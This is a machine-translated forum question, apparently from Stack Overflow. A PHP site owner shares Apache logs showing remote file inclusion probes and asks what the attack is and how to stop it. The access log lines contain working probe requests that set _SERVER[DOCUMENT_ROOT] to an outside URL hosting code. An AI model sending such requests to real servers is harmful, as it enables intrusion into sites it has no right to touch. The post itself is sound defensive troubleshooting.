在我的Apache的錯誤日誌我發現下面一行:可疑網址 - 是否有人試圖破解我?
[Fri Jul 17 22:15:48.632018 2015] [:error] [pid 2784:tid 1048] [client 97.74.24.134:57050] PHP Warning: htmlspecialchars() expects parameter 1 to be string, array given in C:\\Apache24\\htdocs\\catalog\\private\\class\\ResolvedQuery.class.php on line 361
這條線本身重複幾次。
在我的訪問日誌,我發現了以下要求:
97.74.24.134 - - [17/Jul/2015:22:15:48 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&sa=U&ved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&usg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg////?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 301 448
97.74.24.134 - - [17/Jul/2015:22:15:48 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&%3bsa=U&%3bved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&%3busg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 200 16858
97.74.24.134 - - [17/Jul/2015:22:15:52 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&sa=U&ved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&usg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg////?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 301 472
97.74.24.134 - - [17/Jul/2015:22:15:52 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&%3bsa=U&%3bved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&%3busg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 200 16858
97.74.24.134 - - [17/Jul/2015:22:15:56 +0200] "GET ////?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 200 38779
97.74.24.134 - - [17/Jul/2015:22:15:59 +0200] "GET ////?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 302 189
97.74.24.134 - - [17/Jul/2015:22:16:00 +0200] "GET/HTTP/1.1" 200 12875
97.74.24.134 - - [17/Jul/2015:22:16:03 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen////?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 301 320
97.74.24.134 - - [17/Jul/2015:22:16:04 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 302 189
97.74.24.134 - - [17/Jul/2015:22:16:04 +0200] "GET/HTTP/1.1" 200 12875
97.74.24.134 - - [17/Jul/2015:22:16:07 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen////?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 301 344
97.74.24.134 - - [17/Jul/2015:22:16:08 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 302 189
97.74.24.134 - - [17/Jul/2015:22:16:08 +0200] "GET/HTTP/1.1" 200 12875
我使用.htaccess文件到所有requestes直接到index.php文件。 從此,我處理這樣的要求:
$query = str_replace('_url=/', '', $_SERVER['QUERY_STRING']);
從此我做$查詢一些操作。
但是觸發錯誤代碼的部分如下:
//sanitize requests array.
if (!empty($_REQUEST)){
foreach($_REQUEST as $req => $value){
$p = htmlspecialchars($req);
$v = htmlspecialchars($value); // THIS LINE TRIGGERS THE ERROR!
$this->requests[$p] = $v;
}
}
現在,什麼樣的攻擊是這樣嗎?這裏介紹的代碼是否可以保護我免受這種攻擊?如果不是,我需要做些什麼來防止這種攻擊?
我使用Apache 2.4,PHP 5.6 Win7上
如何初始化'$ value'?不知道這是一個攻擊還是一個錯誤。 –
看起來他們試圖包含來自外部域的內容,而htmlspecialchars對追加到查詢字符串的url沒有任何作用。 index.php文件是否允許以任何方式包含文件? – RamRaider